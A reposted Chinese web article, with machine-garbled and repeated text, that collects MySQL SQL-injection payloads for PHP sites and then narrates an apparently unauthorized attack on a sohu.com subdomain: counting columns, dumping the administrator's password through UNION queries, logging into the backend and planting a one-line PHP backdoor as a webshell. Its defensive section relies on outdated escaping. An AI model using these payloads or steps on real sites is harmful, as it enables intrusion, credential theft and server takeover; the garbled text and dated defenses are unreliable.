新浦京81707con > 功能介绍 > 测试代码安全不错,PHP的SQL注入过程分析

原标题:测试代码安全不错,PHP的SQL注入过程分析

浏览次数:168 时间:2019-08-21

前日从网络学习了关于SQL注入的基本技术。SQL注入的基本点就是结构SQL语句,只有灵活的使用SQL
  语句工夫组织出牛比的注入字符串。学完以往写了点笔记,已备随时使用。希望你在看上边内容时先了
  解SQL的基本原理。笔记中的代码来自网络。
  ===基础部分===   本表查询:
  ' and LENGTH(password)='6
  ' and LEFT(password,1)='m
  Union联合语句:
  ' union select 1,username,password from user/*
  ' union select 1,username,password from user/*
  导出文件:
  ' into outfile 'c:/file.txt
  ' or 1=1 into outfile 'c:/file.txt
  ' union select 1,username,password from user into outfile 'c:/user.txt
  INSERT语句:
  INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
  构造homepage值为:', '3')#
  SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', '', '3')#', '1');
  UPDATE语句:小编开心那样个东西
  先驾驭这句SQL
  UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
  假若此SQL被退换成以下方式,就实现了注入
  1:修改homepage值为
  ', userlevel='3
  之后SQL语句变为
  UPDATE user SET password='mypass', homepage='', userlevel='3' WHERE id='$id'
  userlevel为客户品级
  2:修改password值为
  mypass)' WHERE username='admin'#
  之后SQL语句变为
  UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
  3:修改id值为
  ' OR username='admin'
  之后SQL语句变为
  UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
  ===高端部分===
  常用的MySQL内置函数
  DATABASE()
  USER()
  SYSTEM_USER()
  SESSION_USER()
  CURRENT_USER()
  database()
  version()
  SUBSTRING()
  MID()
  char()
  load_file()
  ……
  函数应用
  UPDATE article SET title=DATABASE() WHERE id=1
   union select 1,database(),version()
  SELECT * FROM user WHERE username=char(97,110,103,101,108)
  # char(97,110,103,101,108) 相当于angel,十进制
   and password=char(109,121,112,97,115,115) and LEFT(password,1)>char(100)
   and ord(mid(password,3,1))>111
  明确数据结构的字段个数及项目
   union select 1,1,1
   union select char(97),char(97),char(97)
  猜数据表名
   union select 1,1,1 from members
  跨表查询获得客商名和密码
   union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
  其他
  #证实第一人密码
   union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
  ===注入卫戍===
  服务器方面
  magic_quotes_gpc设置为On
  display_errors设置为Off
  编码方面
  $keywords = addslashes($keywords);
  $keywords = str_replace("_","_",$keywords);
  $keywords = str_replace("%","%",$keywords);
  数值类型
  使用intval()抓换
  字符串类型
  SQL语句参数中要增添单引号
  下边代码,用于防治注入
  if (get_magic_quotes_gpc()) {
  //....
  }else{
  $str = mysql_real_escape_string($str);
  $keywords = str_replace("_","_",$keywords);
  $keywords = str_replace("%","%",$keywords);
  }
  有用的函数
  stripslashes()
  get_magic_quotes_gpc()
  mysql_real_escape_string()
  strip_tags()
  array_map()
  addslashes()
  参谋文章:
   (SQL Injection with MySQL)中文
  )
  对sohu.com的三次安全检查实验
  已发表于黑客防线
  发布在
  sohu.com是国内一家十分大的门户网址,提供了归纳邮箱在内的浩大劳动。这么大的叁个网址,不出难点是很难的,俗话说服务越来越多越不安全嘛!无论是对 于服务器依旧网站都以其一道理,方今求学Mysql注入,于是顺手就对sohu.com做了一次小小的广安检查实验,看看它存不设有SQL注入漏洞。
  看看sohu.com的主站开掘差不离都以静态的,于是放弃了在主站上找难点的主张。直接在sohu.com的逐个分站上浏览了一圈后发掘,大多数网址选拔的都是Php脚本,也某个用的是jsp脚本,依照经验我们精晓,对于Php营造的系统,一般后台数据库都是Mysql,就好象asp对应着Mssql同样,看来大概存在问题的地点大概广大的。由于Php的风味(Php暗许将传递的参数中的'等字符做了更改,所以对于字符类型的变量私下认可情形下很难注 入),一般景色下我们注入的只好是数字类型的变量了。遵照日常注入的学问,我们知晓id=XXX那样的款式传递的参数一般都以数字类型的变量,所以我们只 要去测量检验那一个php?id=XXX的连日就恐怕找到漏洞了!通过一番缜密的搜索,还真让本人在XXX.it.sohu.com上找到了二个留存难题的总是
  提交:
   and 1=1/*
  再次回到平时如图1。
  然后交到:
   and 1=2/*
  重回未有音信如图2,空空的呢,应该是SQL语句结果为空了。
  通过那四个Url大家得以估摸漏洞是存在的,因为大家提交的and 1=1和and 1=2都被看成Sql语句推行啦!那么大家提交的另外语句也是足以实践的,那就是Sql注入了!大家还足以理解id那几个变量是被看成数字管理的,未有放置 ''之间,不然我们是打响不了的哦!如若变量未有过滤Sql别的首要字的话,大家就很有不小大概得逞啦!我遭遇大多的境况都是变量过滤了select,在 mysql里就是死路了,好郁闷!
  既然漏洞是存在的,让大家三番伍遍吧!首先当然是探测数据库的类型和连接数据库的帐户啦!权限高何况数据库和web同机器的话能够去掉估计字段的伤痛啦!提交:
   and ord(mid(version(),1,1))>51/*
  重回平常如图3,那么些讲话是看数据库的版本是或不是越过3的,因为3的ASCII是51嘛!版本的率先个字符是超乎51的话当然正是4.0之上啦!4.0以 上是支撑union查询的,那样就能够免除一人壹位揣摸的难熬哦!这里结果为真,所以数据库是4.0以上的哦,能够支撑union了。
  既然匡助union查询就先把那个讲话的字段给暴出来呢!现在再用union查询什么都以全速的啊!提交:
   order by 10/*
  再次来到结果日常如图4,看来字段是出乎十二个的,继续提交:
   order by 20/*
  经常重回,提交:
   order by 30/*
  ......
  到order by 50的时候回来未有音讯了!看来是过量40的小于50的,于是提交:
   order by 45/*
  ......
  终于估算到字段是41左右啦!这里正是左右是因为有一点点字段是无法排序的,所以还索要大家用union正鲜明位字段数字是41,提交:
   and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
  再次来到结果如图5,哈哈,成功了哦!哪些字段会在页面展现也是洞察了!今后让我们承继吧!提交:
   and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
  重临结果如图6,完毕了数据库系统的探测哦!我们很有异常的大可能不是root,並且数据库服务器和web也很有相当大希望不是在一台服务器,那样的话大家就未有file权限了!提交:
   and (select count(*) from mysql.user)>0/*
  重回结果如图7,未有对mysql的读取权限,特别分明权限不是root了!呵呵!
  既然不是root,也并不是气馁,让咱们后续吧!在越来越估算数据在此以前我们最佳找下后台先,非常多时候找到了协会者密码却找不到地点登入,很烦恼的说!在根目 录下加/admin和/manage/等等后台常用的地址都以回来404不当,推测了几回终于在/book/目录下admin的时候出现了403 Forbiden错误,哈哈,是存在这一个目录的!但是登入页面死活也猜不出去,郁闷中!但是既然知道有个admin也好说,去谷歌(Google)里找出:
  admin site:sohu.com
  如图8,获得了别的多个分站的论坛,大家知道人是很懒惰的,常常二个地点的后台的个性就很可能是百分百网址的特色,所以当自个儿尝试访谈/book/admin /admuser.php的时候不时出现了,如图9,哈哈,离成功更近了啊!到那边大家领略了网址的后台,其实大家仍是能够博得很关键的消息,查看最早的作品件发掘登入表单的名字是name和password,很轻易测度出对方管理员表中的构造,固然不切合估摸也基本上,呵呵!所以知道干什么大家要先估计后台了 吧!继续注入吧!提交:
   and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*
  再次来到错误,表达不设有admin那些表,尝试admins以及admin_user等等,最终交给:
   and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
  的时候回来成功,哈哈!有User这个表!那么是否组织者表呢?字段又是如何啊?继续提交:
   and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
  重回空新闻的谬误,提交:
   and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
  再次来到结果如图10,哈哈不奇怪再次回到况且出来了二个密码,应该是组织者表里第贰个用户的密码!那么她的客户名字是怎么着啊?估摸非常多字段都以回到错误,实在无法的时候输入二个ID,居然重返成功了!ID就是组织者的名字啊!提交:
   and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
  重临结果如图11,哈哈,获得助理馆员的名字了啊!激动地拿着管理员名字和密码去后台登录成功了哦!如图12。今后是理念怎么拿webshell的时候了, 在后台发掘有上传图片的地点,不过当上传php文件的时候提示说不是图形文件,郁闷了!在后台留神的一无可取的乱翻了会,发掘有个生成php文件的效果与利益, 于是在里头插入了一句话的php后门,如图13,点生成之后提示成功了,看来若无过滤的话大家应有是得到webshell了,密码是a,用一句 话后门连上去如图14,哈哈,成功了!脚本检查评定到此圆满成功!
  在获取webshell之后小编上服务器上看了看,开采服务器的辽源是做得准确,实施不断命令,何况多数全体的目录除了大家刚刚上传的目录之外都是不足写 的,可是作为脚本测量试验,得到了webshell也即使成功了吧!也足以看来,小小的三个参数未有过滤就足以导致网址的陷落,非常是像sohu.com这样 的大站,参数越来越多,尤其要留神过滤方面包车型地铁难点啊!

SQL注入的最重要就是构造SQL语句,独有灵活的利用SQL
语句本事社团出牛比的流入字符串。学完事后写了点笔记,已备随时使用。希望您在看上面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
' and LENGTH(password)='6
' and LEFT(password,1)='m

SQL注入的主要性就是构造SQL语句,唯有灵活的利用SQL
语句工夫社团出牛比的注入字符串。学完现在写了点笔记,已备随时使用。希望您在看上面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
' and LENGTH(password)='6
' and LEFT(password,1)='m

您可能感兴趣的篇章:

  • Sql注入工具_引力节点Java高校整理
  • Sql注入原理简要介绍_重力节点Java大学整理
  • sql注入进度详解_重力节点Java大学整理

Union联合语句:
' union select 1,username,password from user/*
' union select 1,username,password from user/*

Union联合语句:
' union select 1,username,password from user/*
' union select 1,username,password from user/*

导出文件:
' into outfile 'c:/file.txt
' or 1=1 into outfile 'c:/file.txt
' union select 1,username,password from user into outfile 'c:/user.txt

导出文件:
' into outfile 'c:/file.txt
' or 1=1 into outfile 'c:/file.txt
' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:', '3’)#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', '', '3’)#', '1');

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:', '3')#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', '', '3')#', '1');

本文由新浦京81707con发布于功能介绍,转载请注明出处:测试代码安全不错,PHP的SQL注入过程分析

关键词: 新浦京81707con 安全

上一篇:jquery实现简单的拖拽效果实例兼容所有主流浏览

下一篇:没有了